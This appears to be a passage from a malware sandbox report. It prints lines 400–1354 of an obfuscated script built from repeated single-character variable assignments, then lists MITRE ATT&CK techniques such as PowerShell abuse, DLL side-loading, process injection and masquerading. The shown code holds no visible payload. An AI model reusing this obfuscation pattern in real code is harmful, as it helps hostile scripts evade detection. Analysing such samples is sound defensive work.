400	xftkwgl = "C";
401	xftkwgl = "v";
402	xftkwgl = "w";
403	xftkwgl = "d";
404	xftkwgl = "O";
405	xftkwgl = "0";
406	vsruu = "V";
407	vsruu = "Z";
408	vsruu = "b";
409	vsruu = "I";
410	vsruu = "M";
411	vsruu = "f";
412	vsruu = "x";
413	vsruu = "H";
414	vsruu = "M";
415	vsruu = "M";
416	vsruu = "b";
417	vsruu = "x";
418	vsruu = "Z";
419	vsruu = "Z";
420	vsruu = "P";
421	ywzdcson = "W";
422	ywzdcson = "h";
423	ywzdcson = "X";
424	ywzdcson = "D";
425	ywzdcson = "s";
426	ywzdcson = "B";
427	ywzdcson = "i";
428	ywzdcson = "s";
429	ywzdcson = "S";
430	ywzdcson = "M";
431	ywzdcson = "q";
432	ywzdcson = "e";
433	ywzdcson = "l";
434	ywzdcson = "j";
435	ywzdcson = "H";
436	ywzdcson = "X";
437	ywzdcson = "o";
438	ywzdcson = "b";
439	ywzdcson = "Q";
440	ywzdcson = "P";
441	ywzdcson = "g";
442	ywzdcson = "a";
443	ywzdcson = "m";
444	ywzdcson = "n";
445	ywzdcson = "R";
446	ywzdcson = "p";
447	ywzdcson = "I";
448	ywzdcson = "e";
449	ywzdcson = "3";
450	qypbzcpe = "C";
451	qypbzcpe = "S";
452	qypbzcpe = "S";
453	qypbzcpe = "d";
454	qypbzcpe = "I";
455	qypbzcpe = "K";
456	qypbzcpe = "c";
457	qypbzcpe = "h";
458	gjfsaedxs = "p";
459	gjfsaedxs = "I";
460	gjfsaedxs = "e";
461	gjfsaedxs = "i";
462	gjfsaedxs = "W";
463	gjfsaedxs = "U";
464	gjfsaedxs = "d";
465	gjfsaedxs = "q";
466	gjfsaedxs = "Q";
467	gjfsaedxs = "s";
468	gjfsaedxs = "q";
469	gjfsaedxs = "P";
470	gjfsaedxs = "T";
471	gjfsaedxs = "Z";
472	gjfsaedxs = "F";
473	gjfsaedxs = "G";
474	gjfsaedxs = "g";
475	gjfsaedxs = "P";
476	gjfsaedxs = "C";
477	gjfsaedxs = "r";
478	gjfsaedxs = "q";
479	gjfsaedxs = "Y";
480	gjfsaedxs = "L";
481	gjfsaedxs = "z";
482	gjfsaedxs = "O";
483	gjfsaedxs = "z";
484	gjfsaedxs = "a";
485	gjfsaedxs = "\\";
486	zmtrdoz = "R";
487	zmtrdoz = "O";
488	zmtrdoz = "x";
489	zmtrdoz = "B";
490	zmtrdoz = "s";
491	zmtrdoz = "E";
492	zmtrdoz = "K";
493	zmtrdoz = "s";
494	zmtrdoz = "Y";
495	zmtrdoz = "H";
496	zmtrdoz = "Z";
497	zmtrdoz = "G";
498	zmtrdoz = "H";
499	zmtrdoz = "L";
500	zmtrdoz = "Q";
501	zmtrdoz = "E";
502	zmtrdoz = "S";
503	zmtrdoz = "I";
504	zmtrdoz = "c";
505	zmtrdoz = "s";
506	zmtrdoz = "m";
507	zmtrdoz = "E";
508	zmtrdoz = "Y";
509	zmtrdoz = "m";
510	zmtrdoz = "A";
511	zmtrdoz = "n";
512	zmtrdoz = "K";
513	zmtrdoz = "t";
514	zmtrdoz = "Q";
515	zmtrdoz = "C";
516	zmtrdoz = "j";
517	zmtrdoz = "L";
518	zmtrdoz = "J";
519	zmtrdoz = "R";
520	zmtrdoz = "d";
521	zmtrdoz = "V";
522	zmtrdoz = "H";
523	zmtrdoz = "X";
524	zmtrdoz = "c";
525	zmtrdoz = "C";
526	zmtrdoz = "t";
527	zmtrdoz = "%";
528	unykspo = "H";
529	unykspo = "v";
530	unykspo = "v";
531	unykspo = "z";
532	unykspo = "G";
533	unykspo = "X";
534	unykspo = "l";
535	unykspo = "M";
536	unykspo = "Y";
537	unykspo = "N";
538	unykspo = "t";
539	unykspo = "b";
540	unykspo = "H";
541	unykspo = "x";
542	unykspo = "D";
543	unykspo = "A";
544	unykspo = "@";
545	jdmaz = "b";
546	jdmaz = "U";
547	jdmaz = "B";
548	jdmaz = "e";
549	jdmaz = "e";
550	jdmaz = "N";
551	jdmaz = "u";
552	jdmaz = "E";
553	jdmaz = "O";
554	jdmaz = "l";
555	jdmaz = "V";
556	jdmaz = "u";
557	jdmaz = "m";
558	jdmaz = "B";
559	jdmaz = "b";
560	bexnqvsv = "a";
561	bexnqvsv = "u";
562	bexnqvsv = "w";
563	bexnqvsv = "u";
564	bexnqvsv = "o";
565	bexnqvsv = "O";
566	bexnqvsv = "e";
567	bexnqvsv = "O";
568	bexnqvsv = "y";
569	bexnqvsv = "c";
570	bexnqvsv = "b";
571	bexnqvsv = "V";
572	bexnqvsv = "h";
573	bexnqvsv = "K";
574	bexnqvsv = "r";
575	awhnzi = "e";
576	awhnzi = "R";
577	awhnzi = "z";
578	awhnzi = "v";
579	awhnzi = "P";
580	awhnzi = "Q";
581	awhnzi = "C";
582	awhnzi = "Y";
583	awhnzi = "u";
584	awhnzi = "T";
585	awhnzi = "r";
586	awhnzi = "R";
587	awhnzi = "v";
588	awhnzi = "b";
589	awhnzi = "c";
590	awhnzi = "l";
591	awhnzi = "j";
592	awhnzi = "C";
593	bumcr = "G";
594	bumcr = "s";
595	bumcr = "C";
596	bumcr = "d";
597	bumcr = "I";
598	bumcr = "C";
599	bumcr = "p";
600	bumcr = "I";
601	bumcr = "b";
602	bumcr = "v";
603	bumcr = "t";
604	bumcr = "j";
605	bumcr = "H";
606	bumcr = "E";
607	bumcr = "i";
608	bumcr = "y";
609	bumcr = "b";
610	bumcr = "i";
611	bumcr = "Y";
612	bumcr = "E";
613	bumcr = "o";
614	bumcr = "U";
615	bumcr = "x";
616	bumcr = "z";
617	bumcr = "X";
618	bumcr = "d";
619	bumcr = "n";
620	bumcr = "a";
621	bumcr = "c";
622	bumcr = "o";
623	bumcr = "v";
624	bumcr = "U";
625	bumcr = "e";
626	bumcr = "Q";
627	bumcr = "H";
628	bumcr = "R";
629	bumcr = "4";
630	qlcqtjuzv = "J";
631	qlcqtjuzv = "s";
632	qlcqtjuzv = "y";
633	qlcqtjuzv = "x";
634	qlcqtjuzv = "I";
635	qlcqtjuzv = "J";
636	qlcqtjuzv = "L";
637	qlcqtjuzv = "K";
638	qlcqtjuzv = "Z";
639	qlcqtjuzv = "a";
640	qlcqtjuzv = "n";
641	qlcqtjuzv = "W";
642	qlcqtjuzv = "H";
643	qlcqtjuzv = "e";
644	qlcqtjuzv = "y";
645	qlcqtjuzv = "C";
646	qlcqtjuzv = "e";
647	qlcqtjuzv = "c";
648	qlcqtjuzv = "S";
649	qlcqtjuzv = "A";
650	qlcqtjuzv = "H";
651	qlcqtjuzv = "F";
652	qlcqtjuzv = "n";
653	qlcqtjuzv = "i";
654	qlcqtjuzv = "E";
655	qlcqtjuzv = "J";
656	qlcqtjuzv = "M";
657	qlcqtjuzv = "M";
658	qlcqtjuzv = "I";
659	qlcqtjuzv = "u";
660	qlcqtjuzv = "Q";
661	qlcqtjuzv = "E";
662	hbmdl = "S";
663	hbmdl = "Y";
664	hbmdl = "Y";
665	hbmdl = "V";
666	hbmdl = "N";
667	hbmdl = "M";
668	hbmdl = "C";
669	hbmdl = "l";
670	hbmdl = "r";
671	hbmdl = "g";
672	hbmdl = "Y";
673	hbmdl = "L";
674	hbmdl = "p";
675	hbmdl = "p";
676	hbmdl = "D";
677	hbmdl = "h";
678	hbmdl = "o";
679	hbmdl = "W";
680	hbmdl = "Z";
681	hbmdl = "z";
682	hbmdl = "W";
683	hbmdl = "m";
684	hbmdl = "y";
685	hbmdl = "v";
686	hbmdl = "P";
687	hbmdl = "E";
688	hbmdl = "D";
689	hbmdl = "x";
690	hbmdl = "g";
691	hbmdl = "i";
692	hbmdl = "o";
693	hbmdl = "Y";
694	hbmdl = "l";
695	hbmdl = "s";
696	hbmdl = "S";
697	kyaqmzb = "z";
698	kyaqmzb = "I";
699	kyaqmzb = "L";
700	kyaqmzb = "m";
701	kyaqmzb = "N";
702	kyaqmzb = "L";
703	kyaqmzb = "l";
704	ghoqp = "P";
705	ghoqp = "V";
706	ghoqp = "A";
707	ghoqp = "m";
708	ghoqp = "b";
709	ghoqp = "J";
710	ghoqp = "c";
711	ghoqp = "F";
712	ghoqp = "Y";
713	ghoqp = "c";
714	ghoqp = "G";
715	ghoqp = "E";
716	ghoqp = "u";
717	ghoqp = "j";
718	ghoqp = "h";
719	ghoqp = "Z";
720	ghoqp = "u";
721	ghoqp = "z";
722	ghoqp = "l";
723	ghoqp = "s";
724	ghoqp = "d";
725	ghoqp = "t";
726	ghoqp = "a";
727	ghoqp = "g";
728	ghoqp = "I";
729	ghoqp = "t";
730	ghoqp = "C";
731	ghoqp = "t";
732	sitqrcipr = "\"";
733	ekbsstgcb = "W";
734	ekbsstgcb = "H";
735	ekbsstgcb = "o";
736	ekbsstgcb = "C";
737	ekbsstgcb = "x";
738	ekbsstgcb = "E";
739	ekbsstgcb = "z";
740	ekbsstgcb = "f";
741	ekbsstgcb = "u";
742	ekbsstgcb = "N";
743	ekbsstgcb = "h";
744	ekbsstgcb = "h";
745	ekbsstgcb = "k";
746	ekbsstgcb = "v";
747	ekbsstgcb = "R";
748	ekbsstgcb = "e";
749	ekbsstgcb = "K";
750	ekbsstgcb = "Q";
751	ekbsstgcb = "I";
752	ekbsstgcb = "K";
753	ekbsstgcb = "f";
754	ekbsstgcb = "d";
755	ekbsstgcb = "k";
756	ekbsstgcb = "m";
757	ekbsstgcb = "X";
758	ekbsstgcb = "C";
759	ekbsstgcb = "i";
760	ekbsstgcb = "N";
761	ekbsstgcb = "Y";
762	ulibmcch = "u";
763	ulibmcch = "B";
764	ulibmcch = "F";
765	ulibmcch = "j";
766	ulibmcch = "L";
767	ulibmcch = "J";
768	ulibmcch = "b";
769	ulibmcch = "n";
770	ulibmcch = "x";
771	ulibmcch = "W";
772	ulibmcch = "I";
773	ulibmcch = "E";
774	ulibmcch = "t";
775	ulibmcch = "n";
776	ulibmcch = "f";
777	ulibmcch = "j";
778	ulibmcch = "m";
779	ulibmcch = "s";
780	ulibmcch = "P";
781	ulibmcch = "W";
782	ulibmcch = "F";
783	ulibmcch = "b";
784	ulibmcch = "J";
785	ulibmcch = "P";
786	ulibmcch = "M";
787	ulibmcch = "M";
788	ulibmcch = "K";
789	ulibmcch = "R";
790	ulibmcch = "m";
791	ulibmcch = "z";
792	ulibmcch = "D";
793	ulibmcch = "l";
794	ulibmcch = "I";
795	ulibmcch = "H";
796	ulibmcch = "J";
797	ulibmcch = "Z";
798	ulibmcch = "R";
799	ulibmcch = "h";
800	ulibmcch = "D";
801	ulibmcch = "F";
802	ulibmcch = "b";
803	ulibmcch = "j";
804	xfminaub = "x";
805	xfminaub = "A";
806	xfminaub = "k";
807	xfminaub = "b";
808	xfminaub = "b";
809	xfminaub = "H";
810	xfminaub = "g";
811	xfminaub = "v";
812	xfminaub = "M";
813	xfminaub = "J";
814	xfminaub = "f";
815	xfminaub = "Y";
816	xfminaub = "E";
817	xfminaub = "B";
818	xfminaub = "Q";
819	xfminaub = "l";
820	xfminaub = "f";
821	xfminaub = "d";
822	xfminaub = "j";
823	xfminaub = "Q";
824	xfminaub = "u";
825	xfminaub = "n";
826	xfminaub = "l";
827	xfminaub = "i";
828	xfminaub = "f";
829	xfminaub = "M";
830	xfminaub = "z";
831	xfminaub = "Y";
832	xfminaub = "C";
833	xfminaub = "c";
834	mjedph = "X";
835	mjedph = "b";
836	mjedph = "S";
837	mjedph = "X";
838	mjedph = "W";
839	mjedph = "i";
840	mjedph = "a";
841	mjedph = "Q";
842	mjedph = "X";
843	mjedph = "f";
844	mjedph = "D";
845	mjedph = "b";
846	mjedph = "E";
847	mjedph = "i";
848	mjedph = "W";
849	mjedph = "l";
850	mjedph = "H";
851	mjedph = "n";
852	mjedph = "c";
853	mjedph = "k";
854	mjedph = "R";
855	asgfwiid = "b";
856	asgfwiid = "q";
857	asgfwiid = "T";
858	asgfwiid = "g";
859	asgfwiid = "n";
860	asgfwiid = "q";
861	asgfwiid = ":";
862	eplydjd = "c";
863	eplydjd = "f";
864	eplydjd = "A";
865	eplydjd = "J";
866	eplydjd = "r";
867	eplydjd = "M";
868	eplydjd = "c";
869	eplydjd = "h";
870	eplydjd = "B";
871	eplydjd = "U";
872	eplydjd = "d";
873	eplydjd = "j";
874	eplydjd = "V";
875	eplydjd = "b";
876	eplydjd = "v";
877	eplydjd = "w";
878	eplydjd = "y";
879	eplydjd = "J";
880	eplydjd = "S";
881	eplydjd = "w";
882	eplydjd = "n";
883	eplydjd = "P";
884	eplydjd = "g";
885	fczscnmd = "t";
886	fczscnmd = "O";
887	fczscnmd = "h";
888	fczscnmd = "v";
889	fczscnmd = "i";
890	fczscnmd = "u";
891	fczscnmd = "d";
892	fczscnmd = "v";
893	fczscnmd = "U";
894	fczscnmd = "t";
895	fczscnmd = "B";
896	fczscnmd = "X";
897	fczscnmd = "k";
898	fczscnmd = "L";
899	fczscnmd = "v";
900	fczscnmd = "u";
901	fczscnmd = "b";
902	fczscnmd = "A";
903	fczscnmd = "P";
904	fczscnmd = "J";
905	fczscnmd = "e";
906	fczscnmd = "L";
907	fczscnmd = "d";
908	fczscnmd = "b";
909	fczscnmd = "u";
910	bauoxhvmt = "C";
911	bauoxhvmt = "w";
912	bauoxhvmt = "R";
913	bauoxhvmt = "F";
914	bauoxhvmt = "I";
915	bauoxhvmt = "E";
916	bauoxhvmt = "n";
917	bauoxhvmt = "o";
918	bauoxhvmt = "E";
919	bauoxhvmt = "F";
920	bauoxhvmt = "f";
921	bauoxhvmt = "b";
922	bauoxhvmt = "v";
923	bauoxhvmt = "g";
924	bauoxhvmt = "C";
925	bauoxhvmt = "N";
926	bauoxhvmt = "i";
927	bauoxhvmt = "c";
928	bauoxhvmt = "J";
929	bauoxhvmt = "f";
930	bauoxhvmt = "w";
931	bauoxhvmt = "U";
932	bauoxhvmt = "U";
933	bauoxhvmt = "W";
934	bauoxhvmt = "D";
935	bauoxhvmt = "e";
936	bauoxhvmt = "b";
937	bauoxhvmt = "r";
938	bauoxhvmt = "F";
939	bauoxhvmt = "F";
940	bauoxhvmt = "b";
941	bauoxhvmt = "s";
942	bauoxhvmt = "K";
943	bauoxhvmt = "w";
944	bauoxhvmt = "C";
945	bauoxhvmt = "J";
946	bauoxhvmt = "X";
947	bauoxhvmt = "B";
948	bauoxhvmt = "G";
949	bauoxhvmt = "S";
950	bauoxhvmt = "L";
951	wdmgthf = "L";
952	wdmgthf = "y";
953	wdmgthf = "c";
954	wdmgthf = "u";
955	wdmgthf = "q";
956	wdmgthf = "x";
957	wdmgthf = "q";
958	wdmgthf = "W";
959	wdmgthf = "i";
960	wdmgthf = "d";
961	wdmgthf = "o";
962	wdmgthf = "z";
963	wdmgthf = "X";
964	wdmgthf = "P";
965	wdmgthf = "j";
966	wdmgthf = "l";
967	wdmgthf = "B";
968	wdmgthf = "m";
969	wdmgthf = "w";
970	wdmgthf = "T";
971	uavschec = "L";
972	uavschec = "k";
973	uavschec = "A";
974	uavschec = "E";
975	uavschec = "a";
976	uavschec = "M";
977	uavschec = "v";
978	uavschec = "x";
979	etuajpdhe = "U";
980	etuajpdhe = "T";
981	etuajpdhe = "o";
982	etuajpdhe = "B";
983	etuajpdhe = "b";
984	etuajpdhe = "e";
985	etuajpdhe = "V";
986	etuajpdhe = "d";
987	etuajpdhe = "M";
988	etuajpdhe = "N";
989	etuajpdhe = "b";
990	etuajpdhe = "S";
991	etuajpdhe = "Y";
992	etuajpdhe = "p";
993	etuajpdhe = "s";
994	etuajpdhe = "g";
995	etuajpdhe = "x";
996	etuajpdhe = "W";
997	etuajpdhe = "b";
998	etuajpdhe = "R";
999	etuajpdhe = "v";
1000	etuajpdhe = "t";
1001	etuajpdhe = "K";
1002	etuajpdhe = "K";
1003	etuajpdhe = "n";
1004	cupnsphyi = "o";
1005	cupnsphyi = "c";
1006	cupnsphyi = "o";
1007	wotxb = "e";
1008	wotxb = "B";
1009	wotxb = "B";
1010	wotxb = "C";
1011	wotxb = "s";
1012	wotxb = "j";
1013	wotxb = "U";
1014	wotxb = "v";
1015	wotxb = "Y";
1016	wotxb = "p";
1017	wotxb = "P";
1018	wotxb = "F";
1019	wotxb = "o";
1020	wotxb = "q";
1021	wotxb = "O";
1022	wotxb = "a";
1023	wotxb = "E";
1024	wotxb = "j";
1025	wotxb = "c";
1026	wotxb = "v";
1027	wotxb = "T";
1028	wotxb = "f";
1029	wotxb = "R";
1030	wotxb = "y";
1031	wotxb = "H";
1032	wotxb = "M";
1033	wotxb = "s";
1034	wotxb = "K";
1035	wotxb = "z";
1036	wotxb = "z";
1037	wotxb = "z";
1038	wotxb = "p";
1039	wotxb = "D";
1040	wotxb = "f";
1041	wotxb = "L";
1042	wotxb = "S";
1043	wotxb = "A";
1044	wotxb = "G";
1045	wotxb = "C";
1046	wotxb = "F";
1047	kkoguaaa = "C";
1048	kkoguaaa = "J";
1049	kkoguaaa = "c";
1050	kkoguaaa = "u";
1051	kkoguaaa = "z";
1052	kkoguaaa = "T";
1053	kkoguaaa = "F";
1054	kkoguaaa = "Q";
1055	kkoguaaa = "W";
1056	kkoguaaa = "j";
1057	kkoguaaa = "T";
1058	kkoguaaa = "C";
1059	kkoguaaa = "t";
1060	kkoguaaa = "d";
1061	kkoguaaa = "Y";
1062	kkoguaaa = "N";
1063	kkoguaaa = "t";
1064	kkoguaaa = "z";
1065	kkoguaaa = "t";
1066	kkoguaaa = "o";
1067	kkoguaaa = "H";
1068	kkoguaaa = "e";
1069	amgqovpka = "i";
1070	amgqovpka = "g";
1071	amgqovpka = "b";
1072	amgqovpka = "x";
1073	amgqovpka = "U";
1074	amgqovpka = "Z";
1075	amgqovpka = "s";
1076	amgqovpka = "X";
1077	amgqovpka = "O";
1078	amgqovpka = "m";
1079	amgqovpka = "o";
1080	amgqovpka = "u";
1081	amgqovpka = "T";
1082	amgqovpka = "h";
1083	amgqovpka = "v";
1084	gcxlxg = "U";
1085	gcxlxg = "s";
1086	gcxlxg = "Q";
1087	gcxlxg = "B";
1088	gcxlxg = "k";
1089	gcxlxg = "n";
1090	gcxlxg = "W";
1091	gcxlxg = "x";
1092	gcxlxg = "v";
1093	gcxlxg = "r";
1094	gcxlxg = "d";
1095	gcxlxg = "j";
1096	gcxlxg = "V";
1097	gcxlxg = "A";
1098	gcxlxg = "r";
1099	gcxlxg = "F";
1100	gcxlxg = "f";
1101	gcxlxg = "P";
1102	gcxlxg = "Y";
1103	gcxlxg = "A";
1104	gcxlxg = "S";
1105	gcxlxg = "Z";
1106	gcxlxg = "y";
1107	gcxlxg = "C";
1108	gcxlxg = "9";
1109	mgmnmxsl = "a";
1110	mgmnmxsl = "c";
1111	mgmnmxsl = "w";
1112	mgmnmxsl = "G";
1113	mgmnmxsl = "E";
1114	mgmnmxsl = "v";
1115	mgmnmxsl = "H";
1116	nfdbggrz = "W";
1117	nfdbggrz = "A";
1118	nfdbggrz = "v";
1119	nfdbggrz = "S";
1120	nfdbggrz = "y";
1121	nfdbggrz = "d";
1122	nfdbggrz = "z";
1123	nfdbggrz = "n";
1124	nfdbggrz = "L";
1125	nfdbggrz = "u";
1126	nfdbggrz = "m";
1127	nfdbggrz = "s";
1128	nfdbggrz = "j";
1129	nfdbggrz = "h";
1130	nfdbggrz = "i";
1131	nfdbggrz = "K";
1132	nfdbggrz = "Z";
1133	nfdbggrz = "q";
1134	nfdbggrz = "O";
1135	nfdbggrz = "t";
1136	nfdbggrz = "z";
1137	nfdbggrz = "u";
1138	nfdbggrz = "J";
1139	nfdbggrz = "n";
1140	nfdbggrz = "C";
1141	nfdbggrz = "u";
1142	nfdbggrz = "s";
1143	nfdbggrz = "w";
1144	nfdbggrz = "O";
1145	nfdbggrz = "H";
1146	nfdbggrz = "s";
1147	nfdbggrz = "r";
1148	nfdbggrz = "j";
1149	nfdbggrz = "z";
1150	nfdbggrz = "l";
1151	nfdbggrz = "v";
1152	nfdbggrz = "-";
1153	evedeep = "n";
1154	evedeep = "g";
1155	evedeep = "L";
1156	evedeep = "M";
1157	evedeep = "O";
1158	evedeep = "T";
1159	evedeep = "E";
1160	evedeep = "u";
1161	evedeep = "F";
1162	evedeep = "n";
1163	evedeep = "L";
1164	evedeep = "V";
1165	evedeep = "n";
1166	evedeep = "q";
1167	evedeep = "p";
1168	evedeep = "c";
1169	evedeep = "b";
1170	evedeep = "O";
1171	evedeep = "f";
1172	evedeep = "J";
1173	evedeep = "I";
1174	oneanex = "r";
1175	oneanex = "S";
1176	oneanex = "z";
1177	oneanex = "y";
1178	oneanex = "f";
1179	oneanex = "b";
1180	oneanex = "8";
1181	lhrerjo = "B";
1182	lhrerjo = "Y";
1183	lhrerjo = "k";
1184	ybicshhuf = "q";
1185	ybicshhuf = "7";
1186	fpvgy = "p";
1187	fpvgy = "b";
1188	fpvgy = "l";
1189	fpvgy = "g";
1190	fpvgy = "r";
1191	fpvgy = "u";
1192	fpvgy = "V";
1193	fpvgy = "b";
1194	fpvgy = "R";
1195	fpvgy = "W";
1196	fpuigitwy = "d";
1197	fpuigitwy = "W";
1198	fpuigitwy = "s";
1199	sypefqqu = "L";
1200	sypefqqu = "w";
1201	sypefqqu = "p";
1202	sypefqqu = "2";
1203	ypwrsawuq = "N";
1204	ypwrsawuq = "b";
1205	ypwrsawuq = "f";
1206	ypwrsawuq = "a";
1207	ypwrsawuq = "e";
1208	ypwrsawuq = "W";
1209	ypwrsawuq = "o";
1210	ypwrsawuq = "f";
1211	ypwrsawuq = "U";
1212	ypwrsawuq = "k";
1213	ypwrsawuq = "S";
1214	ypwrsawuq = "g";
1215	ypwrsawuq = "K";
1216	ypwrsawuq = "D";
1217	ypwrsawuq = "L";
1218	ypwrsawuq = "y";
1219	ypwrsawuq = "w";
1220	ypwrsawuq = "G";
1221	ypwrsawuq = "v";
1222	ypwrsawuq = "R";
1223	ypwrsawuq = "U";
1224	ypwrsawuq = "n";
1225	ypwrsawuq = "u";
1226	ypwrsawuq = "G";
1227	ypwrsawuq = "J";
1228	ypwrsawuq = "r";
1229	ypwrsawuq = "j";
1230	ypwrsawuq = "z";
1231	ypwrsawuq = "W";
1232	ypwrsawuq = "U";
1233	ypwrsawuq = "h";
1234	ypwrsawuq = "K";
1235	ypwrsawuq = "T";
1236	ypwrsawuq = "s";
1237	ypwrsawuq = "L";
1238	ypwrsawuq = "J";
1239	ypwrsawuq = "w";
1240	ypwrsawuq = "T";
1241	ypwrsawuq = "K";
1242	ypwrsawuq = "v";
1243	ypwrsawuq = "a";
1244	ypwrsawuq = "V";
1245	ypwrsawuq = "P";
1246	ypwrsawuq = "h";
1247	ypwrsawuq = "K";
1248	owxgli = "L";
1249	owxgli = "K";
1250	owxgli = "X";
1251	owxgli = "I";
1252	owxgli = "L";
1253	owxgli = ".";
1254	rbmzhillz = "n";
1255	rbmzhillz = "e";
1256	rbmzhillz = "j";
1257	rbmzhillz = "F";
1258	rbmzhillz = "P";
1259	rbmzhillz = "w";
1260	rbmzhillz = "T";
1261	rbmzhillz = "b";
1262	rbmzhillz = "K";
1263	rbmzhillz = "k";
1264	rbmzhillz = "e";
1265	rbmzhillz = "m";
1266	rbmzhillz = "f";
1267	rbmzhillz = "m";
1268	rbmzhillz = "s";
1269	rbmzhillz = "G";
1270	rbmzhillz = "O";
1271	rbmzhillz = "H";
1272	rbmzhillz = "G";
1273	rbmzhillz = "I";
1274	rbmzhillz = "I";
1275	rbmzhillz = "p";
1276	rbmzhillz = "S";
1277	rbmzhillz = "W";
1278	rbmzhillz = "z";
1279	rbmzhillz = "M";
1280	rbmzhillz = "s";
1281	rbmzhillz = "a";
1282	rbmzhillz = "h";
1283	rbmzhillz = "e";
1284	rbmzhillz = "l";
1285	rbmzhillz = "B";
1286	rbmzhillz = "Y";
1287	rbmzhillz = "_";
1288	xoxinyv = "F";
1289	xoxinyv = "n";
1290	xoxinyv = "J";
1291	xoxinyv = "b";
1292	xoxinyv = "k";
1293	xoxinyv = "s";
1294	xoxinyv = "x";
1295	xoxinyv = "B";
1296	xoxinyv = "t";
1297	xoxinyv = "u";
1298	xoxinyv = "C";
1299	xoxinyv = "J";
1300	xoxinyv = "t";
1301	xoxinyv = "I";
1302	xoxinyv = "O";
1303	xoxinyv = "n";
1304	xoxinyv = "i";
1305	xoxinyv = "l";
1306	xoxinyv = "A";
1307	xoxinyv = "K";
1308	xoxinyv = "y";
1309	xoxinyv = "X";
1310	xoxinyv = "V";
1311	xoxinyv = "N";
1312	xoxinyv = "s";
1313	xoxinyv = "B";
1314	xoxinyv = "e";
1315	xoxinyv = "m";
1316	xoxinyv = "N";
1317	xoxinyv = "n";
1318	xoxinyv = "r";
1319	xoxinyv = "o";
1320	xoxinyv = "D";
1321	xoxinyv = "/";
1322	nenappmyf = "u";
1323	nenappmyf = "j";
1324	nenappmyf = "z";
1325	nenappmyf = "t";
1326	nenappmyf = "j";
1327	nenappmyf = "u";
1328	nenappmyf = "P";
1329	nenappmyf = "U";
1330	nenappmyf = "f";
1331	nenappmyf = "x";
1332	nenappmyf = "d";
1333	nenappmyf = "X";
1334	nenappmyf = "p";
1335	nenappmyf = "o";
1336	nenappmyf = "P";
1337	nenappmyf = "x";
1338	nenappmyf = "G";
1339	nenappmyf = "e";
1340	nenappmyf = "o";
1341	nenappmyf = "f";
1342	hezabk = "p";
1343	hezabk = "C";
1344	hezabk = "F";
1345	hezabk = "f";
1346	hezabk = "e";
1347	hezabk = "A";
1348	hezabk = "P";
1349	hezabk = "e";
1350	hezabk = "B";
1351	hezabk = "G";
1352	hezabk = "O";
1353	hezabk = "d";
1354	gwgfiar ( );	gwgfiar() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

